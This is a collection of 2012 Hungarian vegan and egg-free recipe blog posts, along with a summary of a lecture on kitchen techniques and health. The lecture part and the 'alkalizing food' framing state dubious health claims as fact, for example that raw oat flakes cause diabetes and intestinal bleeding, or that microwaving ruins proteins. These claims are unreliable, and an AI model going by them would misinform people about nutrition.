2012. június 10. Mindennapi ételeink
Ezt a sütit még múlt héten készítettem, miután kaptunk egy óriási tál ribizlit Gábortól, aki közelünkben lakik, és a kertjében minden hasznosat megtermel maguknak. Ebben a kertben nekünk is van céklánk-idén ott csak ez lett ültetve, minden más Békés megyében. De visszatérve az ételhez. Hozzávalók: 20 dkg teljes kiőrlésű liszt 5 dkg finomliszt 10 dkg nyírfacukor 6 ek. olaj 1 késhegynyi Arm & Hammer szóda 2,5 dl kukoricatej -- 25 dkg ribizli 1 marék dió -- 1 csomag vaníliás pudingpor 1/2 l kukoricatej ízlés szerint nyírfacukor 1 ek. psyllium 1 ek. kókuszolaj Elkészítés: A tészta hozzávalóit összeöntjük és alaposan kikeverjük. Olajozott, lisztezett tepsibe öntjük, majd megszórjuk ribizlivel és lereszelt dióval. Közepes lángon sütjük, kb. 30-40 percig, a végén lejjebb vesszük a lángot. Kitűnő piskóta lesz, tojás nélkül! A pudingot a szokásos módon megfőzzük, majd amikor kihűlt, belekeverjük a kókuszolajat, a psylliumot, amely megkeményíti, így eszébe sem jut majd, hogy lefolyjon. Kenjük rá a szeletekre. :-) Hűtsük be, és hidegen fogyasszuk.
Étcsokoládéba mártott eper
2012. június 8. Fittanyuka Blog
Kivétel nélkül, szinte mindenki imádja ezt a finom zamatos gyümölcsöt. Vendégvárónak is tálalhatjuk ha éppen szezonja van. Mindig azt hangsúlyozom, hogy a gyümölcsöket mindig önmagukban fogyasztjuk. Mondhatni ez most a kivétel, de most sem feledkezünk el az erjedésgátló fűszerekről! Hozzávalók: 500 g friss eper 100 g étbevonó 1 evőkanál kókusz olaj késhegynyi bourbon vanília késhegynyi örőlt fahéj A csokoládét víz gőz felett felolvasztjuk, hozzáadjuk a kókusz olajat, fűszereket és egyenként belemártjuk az eper szemeket. Egy tálra fektetjük őket és hűtőben tároljuk tálalásig. Fittanyuka - lúgosító ételek a facebookon Fittanyuka
Epres pite (Tojásmentes, sok kókusszal)
Becsukom a szemem és mit látok? Epret, epret, temérdek epret. Sajnos már nagy részét csak akkor látom, ha becsukom a szemem, de szerencsére lehetőségem volt élőben is sok sok eperszemmel találkozni. Sütésnél és szedésnél is egyaránt.Még nem unom. Sőt! Nem bánnám, ha legalább olyan könnyen és minőségben hozzáférhető lenne egész évben, mint az alma. De ez nekünk Kárpát-medencei lakosoknak nem adatott meg. Igaz, nem tudom, van-e a világon olyan hely, ahol a klíma lehetővé teszi, hogy a 12 hónapból legalább 8-9 hónapon keresztül szüretelni, tárolni lehessen az epret. Persze, most azzal nyugtatom magam, hogy ha tegyük fel, létezne is ilyen hely, biztos vagyok benne, hogy ők pedig az iránt áhítoznak, hogy alma és körte teremjen náluk úgy, mint nálunk. :) Ezen elmélkedésemet nem mindig kell komolyan venni. Ugyanígy képes vagyok görögdinnye szezonban is képzelődni egy rövid ideig. Szóval eperszezon lévén nem maradhat ki néhány epres csoda. Akinek a kertjében szamóca terem (ugye az kisebb szemű), ne bánkódjon, ezeket az édes kis semmiségeket (mert hát ugye, ha befaljuk semmi nem lesz belőle...) szamócával is elkészíthetjük! A recept: Hozzávalók: - 25 dkg kókuszreszelék - 6 dl víz - 10 dkg zabpehely - 10 dkg teljes kiőrlésű liszt - 15 dkg fehér liszt - 2 evőkanál olaj (napraforgó, vagy semleges ízű) - 7-10 dkg gyümölcscukor (ki milyen édesszájú) - 1 teáskanál púpozott biocsicsóka sűrítmény - 1 púpozott kávéskanál szódabikarbóna - 30 dkg eper - egy csipet só - esetleg reszelt citromhéj Elkészítés:A 6 dl vizet felforraljuk egy csipetnyi sóval. A kókuszreszelékeket leforrázzuk a felforrt vízzel, átkeverjük, majd a következő rottyanásig a tűzön hagyjuk. Minél tovább áll a forró vízben a sok sok kókuszreszelék, annál ízletesebb kókusztejet kapunk. Ezért ezt a műveletet akár előző este is elvégezhetjük. De a sütemény összeállítását mindenképpen ezzel kezdjük. Amíg az epret konyhakész állapotba "varázsoljuk", vagyis többszörös vízben átmossuk, kicsumázzuk, legalább félbe, vagy három részre vágjuk, addig a kókusztejünk érlelődik.Ha előkészítettük az epret, és a többi hozzávalót is, akkor hozzákezdhetünk a tészta elkészítéséhez. Tekintettel arra, hogy a süteményhez amúgy is kell a kókuszreszelék, nem szükséges leszűrnünk a tejet. Ellenben érdemes összeturmixolni, hogy a kókuszreszelékek minél kisebbek legyenek. Turmixolás után egyszerűen csak hozzáadjuk a fenti sorrendben a száraz hozzávalókat, majd az olajat. Átkeverjük. Édesítjük ízlésünknek megfelelően, és mielőtt a sütőpapírral kibélelt tepsibe öntjük, hozzákeverjük a szódabikarbónát és a reszelt citromhéjat (nekem épp nem volt citromom, így kimaradt).A megtisztított, felvágott eperszemeket a massza tetejére helyezzük. Sütőben közepes lángon kb. 20 perc alatt készre sütjük. Hagyjuk szikkadni, hűlni a tepsiben egészen addig, míg langymelegre nem hűl. Utána ügyes kézmozdulattal kiemelhetjük a tepsiből, vágódeszkán felvágva tálcára tehetjük. Sajnos nincs itthon friss menta, hogy azzal díszítsem. Kellemes kis süteménykockák az eperszezon idején. Természetesen bármely más gyümölccsel elkövethetjük ezt a nagyszerű tettet.
Kókusztejes gyümölcsleves
2012. június 5. Mindennapi ételeink
A tegnapi meleg időben jólesett ez a hideg leves. Mára is maradt, ekkor pedig a reggeli müzlit ebbe tettük bele (felmelegítve). Érdemes kipróbálni :-) Hozzávalók: 1 kg cseresznye (szüleim fájáról:) 10 dkg málna (a mélyhűtőből-ez volt az utolsó adag) 10 dkg feketeribizli (szintén mélyhűtős) kb.10 ek. kókusztejpor kb. 1,5 l víz kardamom - ízlés szerint citromlé, kevés citromfű ízlés szerint nyírfcukor 1 ek. finomliszt Elkészítés: Nyírfacukorral ízesített vízben (épp csak ellepje a cseresznyét) feltesszük főni a cseresznyét. Amikor roppanós, beletesszük a málnát, feketeribizlit, citromkarikát, kardamomot, és felöntjük (a maradék vizet beízesítve kókusztejporral) kókusztejjel, amelyhez a lisztet is hozzákeverjük (habverővel). Amikor ez felforr, lezárjuk a levest. Szükség szerint még ízesítjük, citromfüvet is apríthatunk hozzá.
Mit? hogyan? miért? Válaszok a helyes konyhatechnikák alkalmazására
A 2012-es első félév utolsó előadásának lehettünk hallgatói ,,Nem titok az egészség témakörben, amely során az előadó - Tóth Gábor, aki az Élelmiszeripari Egyetemen végzett élelmiszeripari mérnökként - a konyhaművészet egészséges rejtelmeibe vezetett be minden résztvevőt, tévhiteket oszlatva el és új ismereteket adva a főzés, párolás, pirítás, olajban és roston sütés, grillezés, mikrohullámú kezelés, hűtés, mélyhűtés, szárítás és egyéb műveletek jellemzéséről egészségvédelmi szempontból. Az előadás legelején az előadó leszögezte, hogy azokat a főbb információkat igyekszik megosztani, amelyeket részben az Élelmiszeripari Egyetem tananyagai, jegyzetei, részben elmúlt 12 év konyhatechnikai tapasztalatai adtak és adnak Számára. A konyhatechnikákkal és az étkezéssel kapcsolatban legelőször is kitért arra, hogy létezik olyan irányzat, ami szerint egyátalán ne főzzünk, felejtsük el az ételkészítési technológiákat. Mindent a lehető legegyszerűbben nyersen fogyasztjuk el. Ez egy alap axióma. Egyrészt muszáj valami előkészítő, tisztító technológiának bevetni. Másrészt vannak bizonyos ételek, amelyeket kifejezetten hő kezelni kell. Persze van, amit nyersen is fogyaszthatunk, és maga a nyers étel alapú étrend is jó lehet, ha a kellő ismeret megvan hozzá és ez alkalmazásra is kerül. Sokszor szokták ostorozni a nagyüzemeket is, viszont ne felejtsük el, hogy van néhány technológia, ami csak nagyüzemben képzelhető el. Pl. konyhában védőgázos csomagolást nehezen tudunk kivitelezni. Ehelyett fagyasztásnál a levegőt kiszorítva fagyasztunk le élelmiszereket. Déli gyümölcsöket etilénnel érlelik. Otthon is lehet etilénnel érlelni. Minden gyümölcs termel érése során etilént. Ha érése során egy lezárt zacskóba tesszük, nem engedve, hogy a gázok eltávozzanak, tulajdonképpen önmagukat érlelik. De az alma mellé tett gyümölcs is jobban érik. Ezzel a módszerrel siettethetjük az érlelést. Amikor csak lehet, otthon készítsük az ételeket, a kérdés azonban az, hogyan? Az ételkészítés gyakorlatának elméletéről van szó. Cél: Megőrizni az étel beltartalmi értékét. Vitamin és ásványi anyag tartalmat megőrizni. Ehhez pedig kíméletes technológia használata kell. Kuktafazék ugyan 100 fok felett dolgozik, de mégis kíméletesen főz, ha rövid ideig használjuk. Tehát az idő függvénye magas hőmérsékleten fontos. Rövid idő magas hőmérsékleten kezelve a barátunk. Ellenben az elektromos párolóedények 60-70 fokon tartják a levegőt hosszútávon. Ez rosszabb, mint a kuktában párolt étel. Az egyik legrosszabb megoldás. Hosszú időt szánunk rá alacsonyabb hőmérsékleten. A vitaminoknak nem tesz jót a hosszú feldolgozási idő. Amikor az a célom, hogy az élőflórák (baktériumok) elpusztuljanak, de a vitaminok megmaradjanak. 5-10 perces intenzív hőhatás a vitamin nagy részét megtartja. Kuktában rövid ideig készült káposzta - 10 perc után még mérhető C-vitamin tartalommal bír. A vitaminbomlás lassabb folyamat, nem egy perc alatt semmisül meg. Több tízperces hőkezelés kell a vitamin elpusztításához. Ezért sem ajánlottak az elektromos párolóedények. Rostok puhítása alapcél. Szükség van rostokra. Barátaink. A túl sok nyers rost nem mindig jó. Párolás során a rostok megdagadnak. Könnyebben emészthető a párolás során kezelt rost. Pl: Sárgarépa nyersen sok enzimet tartalmaz, viszont karotint alig. Viszont félig párolva másfélszeres a karotin teljesen párolva kétszeres mennyiségű karotin képes felszívódni.Sütőtök nyersen sárgarépával finom, ízletes. Karotin tartalma nyersen szintén kevésbé szívódik fel, noha rengeteg hasznos fitokemikália van a nyers sütőtökben. Tehát mérlegelni kell, mikor kell nyers, mikor kell párolt ételt fogyasztani. Milyen céllal választjuk az adott zöldséget. Gőzölés során a keményítők a növényekben megduzzadnak. Duzzadt keményítő könnyebben kezelhető és emészthető. Keményítőtartalmú élelmiszereket érdemes áztatni. Pl gabonafélék, burgonya. Natúr pelyhek nyers fogyasztása hasnyálmirigy megnagyobbodáshoz, 2-es cukorbetegséghez vezethet, valamint, bélvérzést okozhat. Egészséges ha a müzli-reggeli nem nyers formában kerül fogyasztásra. Érdemes a zabpelyhet, natúr pelyheket egy kevés vízben felfőzni. A kenyérkészítés nem véletlen terjedt el. Szakmailag érdekes dolog. Kelesztéskor a keményítő további feltárást végez. Az igazi kovászos kenyér sokkal könnyebben emészthető, mint az élesztős. Íze is más. Manapság azonban kovászaromát használnak a sütőiparban. Élesztőmentes napok beiktatása fontos. Nem szabad minden nap élesztős terméket fogyasztani. Búza elterjedése miatt napjainkban az alternatív gabonákat nem fogyasztják. Pl. köles, amaránt, árpa, hajdina, stb. Szintén cél: Jóízű, egészséges étel készítése kíméletes technológiával. Gabonát mindig főzni kell, kivéve nyers gabonacsírák. Hüvelyesek - csíráztatás esetén nem kell hővel kezelni, amúgy általánosan áztatni pl: éjszaka, az első főzővizet is le kell önteni. Keményítőtartalmú krumplit és rizst is főzzük. Kelkáposzta, kelbimbó, karfiol, sütőtök, répa érdemes időnként főtt formában is előtérbe helyezni. Állati termékeket is hő kezeljük. Nyers tej ellenjavallott napjainkban már, hiszen az állatokat olyan rovarok, ízeltlábúak támadhatják meg, csíphetik meg, amelyek a vérbe, sőt tejbe kerülve súlyos állapotokat idézhetnek elő. Tej, tojás hús hal tehát mind hőkezelést igényelnek. Ha nem jó az otthoni konyhatechnikánk, mindent tönkre tehetünk. Sokszor ostorozzuk a gyorséttermek sült burgonyáját.Milyen módszerek előzik meg a forró (szója) olajban történő készre sütésüket? Előkészítik őket lassú előfőzéssel, de ekkor még nem puhulnak meg teljesen. Minden növényben elképesztően sok levegő, légrés van. Ezeket a légréseket telíteni kell. Ha olajjal telítenék, sem gazdaságos, sem igazán finoman fogyasztható sem lenne. Ezért a légrések az előfőzés által vízzel telítődnek. Így nem olajjal telítődik. Előfőzést követően lecsepegtetik a burgonyaszálakat, szárítják, elősütik, lefagyasztják és készre sütik az étteremben általában szójaolajban. Hogyan készítsünk egészségesen sültburgonyát, szalma krumplit? Otthon friss olajba sütni a nem előkészített burgonyát egészségtelenebb , mert víz helyett olajjal telítődnek a levegő rései. Amennyiben ilyen krumplit szeretnénk fogyasztani, lobogó sós vízbe kell mártani 15-20 másodpercre az apróra vágott burgonyát, megszárítani (különben az olaj szétfröcsöghet), és utána olajban kisüthető. Így epére, gyomorra, túlsúlyra kevésbé ártalmas. Túlfőzés is helytelen eljárás. Túl sok vizet önteni zöldség alá helytelen, mert- kilúgozzuk. Csak tisztító kúra esetén érdemes szétfőzni. Szétfőzve a zöldségekből kioldjuk az ásványokat, így káliumleves lesz belőle. Lúgosító hatása van. Ilyen káliumlevesek léböjt-táborokban is előfordul. Tehát otthon levest készítve kerüljük a bő vízben történő teljesen puhára főzést. Hiszen a legtöbb értékes táplálék ez által kifőzésre kerül, és nem jut be a szervezetbe hasznos felhasználásra. Ezért inkább pirítsuk (olaj és zsiradék nélkül), majd pároljuk (kevés vízen) a zöldségeket, és a végén a fűszerezéshez, ízesítéshez öntsük fel valamennyi vízzel, de ekkor már ne főzzük sokáig. Így jobban megőrizhetjük a zöldségeink bel tartalmi értékét, és egészséges levest fogyaszthatunk. Gyümölcsleveseket főzés nélkül készítsük, kizárólag turmixgéppel. A konyhában való tevékenységeink során nagyon fontos dolog az oxidáció, amire különösen figyeljünk. Ha egy terméket megvágtunk, turmixoltunk, azonnal oxidációnak van kitéve. Igyekezzünk ezért mielőbb felhasználni. Oxidáció hő hatására gyorsul, oxidáció során pedig további tápanyagok távozhatnak a növényből. Olajban sütés esetén ne használjuk fel újra az olajat. Az égetett olajok állása közben is oxidáció lép fel - még sötét helyen tárolás esetén is. Elképesztően rákkeltő az olaj újbóli felhasználása. Amennyire csak lehetséges kerüljük az olajban sütést, rendkívül káros. Régen az emberek aszaltak a nap melegét felhasználva árnyékban. Ez mind a mai napig a legegészségesebb vízelvonási módszer. Hosszútávon nagyon kíméletes eljárási mód, főleg ha az aszalógépünkön állítható hőmérséklet. Elképesztően tartós termék áll elő, amelyet télen is fogyaszthatunk. C-vitamin tartalmukat is megtartják az aszalványok. Tiszta levegőn, árnyékban kinn is aszalhatunk gyümölcsöt, zöldséget. Az egyik legjobb tartósítási módszer. Sózás is tartósít. Tudni kell róla, hogy vízelvonó hatású, és egy határon túl már nem egészséges. Zöldségeket, krémeket tartósíthatunk sóval, főtt ételhez adva gondoljunk arra, hogy megnövel(heti) az étel sós ízét. Füstölés. Fizikai füstölés nem egészséges. Sóval, füsttel, nitrites páccal tartósít az élelmiszeripar. Füstölést általánosan nem ajánlják, nem egészséges. Inkább füst aromával kezeljük az ételt a kívánt füstölt íz elérése érdekében. Füstgázok tisztított esszenciája a füstaroma. Az aromák nem mindig szerencsések, de a füstaroma mértéktartóan , enyhén használva nem okoz betegséget. Régiek használták az erjesztést. Erjesztési folyamatok: Tejsavas, alkoholos és élesztős, kevert savas. Újabban a kefíreket, joghurtokat genetikailag módosított szervezetekkel érik el az élelmiszeriparban. Az előadáson eddig a hosszú távú konyhatechnikai műveletekről volt szó. Mindennap használatos konyhatechnika: Előtisztítás. Szerencsés, ha nem ugyanazon a helyen tisztítjuk az élelmiszert, mint ahol feldolgozzuk. Érdemes a kertből leszedett, piacról hazahozott élelmiszert kerti csapnál megmosni. Vagy házban külön helyiségben. Ha látnánk, mi minden jön le a nyersanyagról, mennyi kórokozó, teljesen másként állnánk ehhez a kérdéshez. Ha mosogató felett dolgozunk, utána rögtön fertőtleníteni kell, mert keresztfertőzést okozhatunk - hasfájás, hasmenés, gyomorproblémákat okozhat. (Bővebben olvasható erről Tóth Gábor Beteg táplálékaink című könyvében.) Tojás megfogása után kezet kell mosni, majd a területet fertőtleníteni. Hűtőben elkülönítve kell tárolni - lehetőleg dobozában. Fontos a körültekintő eljárás. Hámozás. Elveszítünk vele egy kis tápanyagot, de szükséges. Ha lehetséges, helyette erre a célra használatos dörzskefével dolgozzunk. Előtte a zöldséget be kell áztatni. A legnehezebben elérhető szennyeződések is fellazulnak. Egy viszonylag tiszta növényt áztatással és dörzskefével konyhakészre lehet hozni. Ráadásul több tápanyag marad meg. Gabonáknál is fontos az előkészítés. Koptatás, gőzölés, csíráztatás. Gabonaiparban is fontos előkészületek vannak. Amint felaprítottuk az élelmiszert, nincs időnk. Oxidáció tápanyagot pusztít. Másnapra a tápanyag általánosságban 50-60%-a csökken. Nedves hővel történő kezelés a főzés, párolás, gőzölés. Főzés napjainkban már elavult technológia. Bő vízben főzni nem tanácsos. Pároljunk helyette. Párolás során fontos, hogy ne nyitogassuk sűrűn a fedőt. Pároláskor igyekszünk a bel tartalmi értéket megőrizni. Rizs, köles, kásák pelyhekből - enyhe, gyors pirítás szárazon, utána történik a vízzel való felengedés. Szárazon pirítani - nem olajon. Fertőtleníti a gabonát a pirítás, és elősegíti a víz felvételét. Az előpirított élelmiszerek bel tartalmi értéke magasabb. A rizsszemeket mossuk meg, majd olaj nélkül kicsit pirítsuk át. Párolás során vízgőzzel dolgozunk - előnyös, mert nem képződik rákkeltő anyag. Túl sok víz használatakor túl sok anyag oldódik ki. 100 fokos főzésnél az élő anyagok ínaktiválódnak, ezért inkább pároljunk, mint főzzünk . Ne főzzük, pároljuk teljesen puhára a zöldségeket. Ha a zöldség belseje ropog, kívül puha - vitamintartalma és emészthetősége jó! Tehát a belseje maradjon kemény! Félpuha megoldás régi-új technológia, szemben az agyon hő kezelt élelmiszerekkel. Nyílván van olyan zöldség, ami elveszíti az élvezetét ilyen eljárás során. (PL: Lilakáposzta - nyersen ajánlottabb fogyasztani.) Szárazhő hatására pörzs vagy pörk anyagok készülnek, ezek a barnulási termékek. Aminosavak, fehérjék és szénhidrátok egymással reakcióba lépnek. Nem enzimes barnulás történik. Kromoszómakárosító, tehát rákkeltő hatása van az ilyen módon készített ételeknek. Kávét is ilyen pörköléssel készítik. Kávé természetes sötét színe, pörkölés során is tovább sötétül. Óvatosan kell bánni a gabonakávékkal is. Pörkölés kimondottan rákkeltő anyagokat produkál. Kakaó is hasonló. A pörkölés nem pirítás. Aki reggel éhgyomorra kávéval kezd, elképesztő irritációt ad a gyomornak. Rákkeltő kockázata van. Sütés. Napraforgó olaj 180-220 fokon forr. Ezen a hőfokon egy élelmiszer nem maradhat egészséges. Olajban sütés idején az olajat beszívja a termék, nehéz a gyomornak, epének, hasnyálmirigynek sem jó. Sütés során vékonyan kikenni kókuszolajjal a tepsit, és így hővel sütőben sütni egészségesebb. Kicsit szárazabb lesz, de salátafélékkel fogyasztva finommá tehetjük. Kerüljük az olajban történő sütést (rántott ételek, olajban sült kelt tészták) . Sok pörkanyag és az izgató anyagok hajlamosítanak refluxra, gyomorirritációra, hasnyálmirigy problémára, vékony és vastagbél betegségre. Sült burgonyát rágjuk péppé. Roston sütés. 1 szelet BBQ hús elfogyasztásával annyi benzopirén kerül a gyomorba, mint jelentős számú cigaretta elszívásakor. Csak dohányzáskor a tüdőbe, sült evése során a gyomorba. Tehát egyfajta rákkeltő kockázatot hordoz. Sültektől való mentességet javasoljuk. Sülteket esetleg tepsiben készítve. Egyszer-egyszer nem halálos, de hosszútávon rendszeresen készítve és fogyasztva kerüljük el. Palacsinta esetenként elfogadható. Tej és tojást kihagyni, inkább növényi fehérjékkel készíteni. Rákkeltő hatása így elenyésző, de nem feketére sütni. Gofrisütő jobban szabályozható. Almával lazítható a tésztája, lágy pépet biztosít. Arany barnára sütve elkerülhető a rákkeltő hatás. Kerüljük el a fekete színű anyagok képződését. Kenyérpirító használata során a kenyeret egész keresztmetszetében átsütve fogyasszuk. A belül puha pirított kenyér nem igazán fogadható el. Kétszersült, vagy teljesen pirított kenyér ajánlott. Mikrohullámú kezelés általánosan nem javasolt. Nem visszafordítható változások történnek a fehérjeszerkezetekben. Inkább langyosításra használjuk, alacsonyabb hőfokon. Mézet, olajat utólag adjunk az élelmiszerekhez. Aszalványokat nem érdemes belefőzni az ételekbe, kásákba, hiszen teljes értékű ételek. Gabonát megfőzve az aszalványt nyersen rakjuk hozzá. Gyümölcslevet is utólag tesszük az ételbe. Habarás során alternatív liszteket is használjunk. Zabpehely, köles, durumliszt - könnyebben emészthető ételt kapunk. Az előadássorozat 2012. szeptember 18-án folytatódik.
Kerekded almáspite
Bográcsozáshoz készülve azon gondolkodtam, milyen süteményt készítsek, amit nem közvetlenül az evés után fogyasztanánk el, hanem inkább a délutáni beszélgetéseinket édesítené meg. Olyan süteményt szerettem volna, ami egy-két napig is friss, ízletes és kívánatos. Volt itthon kb. 1,5 kg apróbb szemű alma, így gondoltam almáspitét sütök. Szerettem volna különlegessé tenni, hiszen az interneten is annyi pite recept kering, ráadásul átlapoztam a több tucatnyi szakácskönyvemet is, hogy valami különlegesebbet alkothassak. Sikerült. Ilyen pitekorongokat kevésbé talál az ember a könyvekben és az interneten (még). A recept: Hozzávalók: - 35 dkg fehér liszt - 15 dkg teljes kiőrlésű liszt - 25 dkg pálmavaj, vagy margarin - 8 dkg gyümölcscukor - 10 dkg kókuszreszelék - 1 evőkanál biocsicsóka sűrítmény (kihagyható) - 1 tojássárgája (helyettesíthető 1 bögre darált zabpehellyel, nekünk falusi házi tojásunk volt hozzá) - kevés víz Töltelék: - 1 kg reszelt alma (A reszelék legyen 1 kg, tehát almából kb. 1,2 kg kell.) - fahéj - 1 kiskanál biocsicsóka sűrítmény (kihagyható) - kevés gyümölcscukor - darált dió - búzadara Elkészítés: Mivel kicsit időhiányom volt tekintettel arra, hogy a süteménykészítés mellett más háztartási teendőim is voltak, illetve délután még máshova is el kellett mennem, úgy döntöttem, hogy kipróbálom a tészta összeállítását a kenyérsütőgép keverő programjával. Jól tettem. Szóval minden tésztához tartozó összetevőt a kenyérsütőgép üstjébe tettem a fenti sorrendben, azzal a pici megjegyzéssel, hogy a pálmavaj vagy margarin puha legyen és természetesen feldarabolva. Amikor a gép már egész szépen a liszttel ezt összedolgozta, mehet bele a többi egymás után (sorrend szerint). Míg a gép dolgozik, kever, addig van lehetőségünk előkészíteni a gyúródeszkát, a lereszelt almát kikeverni fahéjjal, gyümölcscukorral és egy kis maroknyi dióval. Mielőtt az almát összekeverjük, a kezünkkel nyomkodjuk ki (reszelék mehet egy másik tálba, így a levét is külön megkapjuk, amiből finom almafröccs készíthető). Ha a gép csomómentesre és simára keverte a tésztánkat, hűtőben pihentetjük egy órát, majd liszttel megszórt gyúródeszkán kb. kisujjnyi vastagságúra nyújtjuk. Ezt követően pogácsa szaggatóval, vagy kisebb átmérőjű pohárral kiszaggatjuk. A korongokat a tepsibe tesszük. Minden korongot megszórunk búzadarával (felszívja az alma levét), az almakeverékből halmokat teszünk rá, majd az almát reszelt dióval szórjuk meg. Ezt követően a kiszaggatott korongok másik felével befedjük. Mivel volt falusi tojásunk (férjem Édesanyjától), így a sütemény tésztáját is a sárgájával lazítottam, valamint a fehérjével kentem meg az almás korongok tetejét. De növényi tejjel is megkenhetjük, ha nem tojást, hanem darált zabpelyhet használunk a tésztába. A korongok tetejét villával megszurkáljuk. Sütőben, sütőpapíros tepsin, közepes lángon készre sütjük. 10-15 perc után ellenőrizzük, ha még nem barnul a teteje tovább sütjük. Ebből az adagból kb. 50 almáspite korong lett. Ha két adag tepsit rakunk be, a másodiknál még több figyelmet kell hagyni, hiszen a sütő addigra már teljesen felforrósodik. Tálalásnál meghinthetjük porcukorral (pl:gyümölcscukor vagy szőlőcukor).
Cukkinis batyu
2012. május 26. Fittanyuka Blog
Annyi, de annyi finom, friss zöldség van a piacon, hogy csak ötletelni kell, és megannyi lúgosító-egészséges étel készíthető belőlük. Ez a recept is ilyen, gyors, könnyű elkészíteni, lehet főétel, de lehet vendégváró vagy egy gyors snake is. Mondhatnám azt is, hogy készítettem egy cukkini főzeléket amit betöltöttem leveles tésztába, aztán kisütöttem. Tulajdonképpen leegyszerűsítve ez is történt:) Hozzávalók: 3-4 zsenge cukkini 200 ml növényi tejszín 1 evőkanálnyi kókusz olaj 1 cikk fokhagyma 2 szál újhagyma késhegynyi zöld bors 1 kávéskanálnyi himalaya só 1 evőkanál kukorica keményítő 1/2 citrom leve 1 csomag kész leveles tészta. (Én a piszke öko pékség leveles tésztáját használom általában, ha kész termékről van szó. Tej,-tojás mentes és teljesőrlésű tönkölyből készül.) 1-2 evőkanálnyi bio margarin A cukkiniket nagy reszelőn lereszeljük, a hagymát felkarikázzuk és mindkettőt a kókusz olajon pár percig pároljuk, majd sózzuk, borsozzuk. Nem szükséges sok idő, csupán 4-5 perc, mert zsenge, gyorsan puhul. A tejszínt külön kikeverjük csomómentesre a keményítővel, préselt fokhagymával és hozzáadjuk a cukkinihez. Besűrítjük és készen is vagyunk. Utólag savanyítjuk kevés citromlével. A leveles tésztát kicsomagoljuk és a leveleit egyenként ecset segítségével megkenjük olvasztott, bio margarinnal. Derelye vágóval egyenlő négyzetekre osztjuk. A közepükre kb. egy evőkanálnyi tejszínes cukkinit halmozunk és batyut csomagolunk belőlük. Én a batyu szárát egy vastagabb cérnával összekötöttem, hogy ne nyíljanak szét. A maradék margarinnal megkenjük a batyuk tetejét is és sütőlapra helyezzük. Előmelegített sütőben 180 C fokon 10-15 percig sütjük. Ha picit hűlt, levágjuk a batyuk száráról a cérnát. Főételként friss salátával tálaljuk! Fittanyuka - Lúgosító ételek a facebookon Fittanyuka
Kókusztekercs
2012. május 22. Kedves Kedvenc Receptjeim
Tejszínes tepsis zöldség kölessel
2012. május 18. Fittanyuka Blog
Ez a kölessel gazdagított étel, nagyon finom, laktató és mindez úgy, hogy karcsúsító-lúgosító fogás is egyben. Sok zöldséggel készítjük és igazából a zöldségek fajtája nincs megkötve és korlátozva, szinte bármelyik zöldséggel készíthetjük, idény szerint. Hozzávalók: (4 fő részére) 1-2 db közepes cukkini 1 db padlizsán pár szem koktél paradicsom 100 g zöld spárga 2-3 szál újhagyma 2-3 cikk fokhagyma kókusz olaj 1 kk himalaya só kakukkfű 250 ml növényi tejszín 200 g köles 1 db bio zöldségleves kocka növényi sajt a tetejére A kölest alaposan megmossuk, majd 3szoros mennyiségű vízben a leveskockával együtt puhára főzzük. A zöldségeket megtisztítjuk, daraboljuk és kókusz olajjal kikent tepsire halmozzuk, összekeverjük. Sózzuk, megszórjuk a kakukkfűvel, lefóliázzuk és előmelegített sütőben 180 C fokon előpároljuk. A tejszínt összekeverjük a préselt fokhagymával, sózzuk még ha szükséges. Miután kissé megpuhultak a zöldségek, hozzákeverjük a kifőtt kölest, leöntjük a tejszínnel, tetejére vékony szeletekben olvadó, növényi sajtot szeletelünk és további 15-20 percre visszatesszük a sütőbe, amíg összesül. Ha elkészült nyers salátával tálaljuk amelyhez a dresszing a következő: 3 evőkanál hidegen sajtolt pödör dió olaj 4 evőkanál friss citromlé 1/2 kk himalaya só Ezeket az összetevőket egy befőttes üvegben, lezárva alaposan összerázzuk és ráöntjük a salátánkra. Fittanyuka - Lúgosító ételek a facebookon Fittanyuka
Tabouleh, hummusz, joghurtos uborka...
Már annyira vágytam erre! Igaz, hogy egész nap este volt, inkább őszies időjárás, de a búrjánzó zöldek tagadhatatlanul az előrehaladott tavasz árulkodó jelei. Nekem pedig korianderre, mentára, kaporra és hasonlókra fájt a fogam. A reggelt is korianderessel kezdtem: angol zeller+alma+koriander+spenót+gyömbérlével. Friss, könnyű, energetizáló és isteni finom. Az ebéd alapanyagai még csak részben saját kertből valóak (saláták, fűszernövények, a többi még fejlődésben :) ) A Tabouleh-hoz (4főre) 2 fej kisebb, zsenge karfiol 1 db közepes sárgarépa 2-3 db fürtös uborka 3-4 szál zöldspárga 1/2 dl e.sz.olívaolaj menta, koriander (szigorúan bio), citromfű ízlés szerint, nálam: amennyit csak találok 1 db citrom reszelt héja (szigorúan bio) himalája só A megmosott karfiol rózsáit leszedegetjük és aprítóban daraboluk, kb kuszkusz méretűre. (a torzsájából és a leveleiből holnap valamilyen levest készítek majd). A többi zöldséget apró kockákra vágjuk, a fűszernövényeket durvára aprítjuk. Mindent összekeverünk, és kész. Az eredeti sem bonyolult, de ez még azt is veri :) Joghurt 1/2 bögre kókuszreszelék 1/2 bögre áztatott mandula 1/2 mk vagy egy kapszulányi probiotikum (elhagyható) 2 bögre forrásvíz Az összetevőket összeturmixoljuk. Ha nincs magas teljesítményű turmixgépünk, érdemes előbb felaprítani a mandulát, megőrölni a kókuszreszeléket. A keveréket -akárcsak aludttej készítésnél- tegyük langyos helyre egy éjsazkára egy olyan edényben, ami nincs teljesen csurig, és fedjük le egy kis gézzel vagy hálóval. Reggelre kész a joghurt. A probiotikum meggyorsítja és biztosítja ezt a folyamatot. Reggel kapunk egy joghurtot az edény tetejére ülve, alul pedig egy savót. Ezt is felhasználhatjuk pl. szószokhoz. 2 db fürtös uborka menta kapor himalája só 2 gerezd fokhagyma Az uborkát lereszeljük, a zöldeket és a fokhagymát aprítjuk és mindent összekeverünk a joghurttal. Hummusz 1/2 bögre csicseriborsó- ezt 24 órára beáztatjuk, majd két napon keresztül csíráztatjuk 1/2 bögre szezámmag, őrölve himalája só fokhagyma füstölt paprikapor koriander római kömény citromlé 1/2 dl kendermagolaj Minden hozzávalót beleteszünk a turmixgépbe és annyi vizet töltünk rá, hogy épphogy elfedje. Habosra turmixoljuk a krémet. Ezt répás ropogósra kentem. Még néhány bébi mángold és vörös cikória saláta, és kész! Nagyon jól esett ez a már-már ünnepi ebéd. Kissé tartottam a csíráztatott csicseriborsótól, de meglepetésemre nem okozott kellemetlenséget. A sok zöldfűszer olyan frissé teszi ezeket a fogásokat, hogy egy igazi nyári lakomán is megállják a helyüket. A desszert is jön majd :)
Epertorta
2012. május 16. Mindennapi ételeink
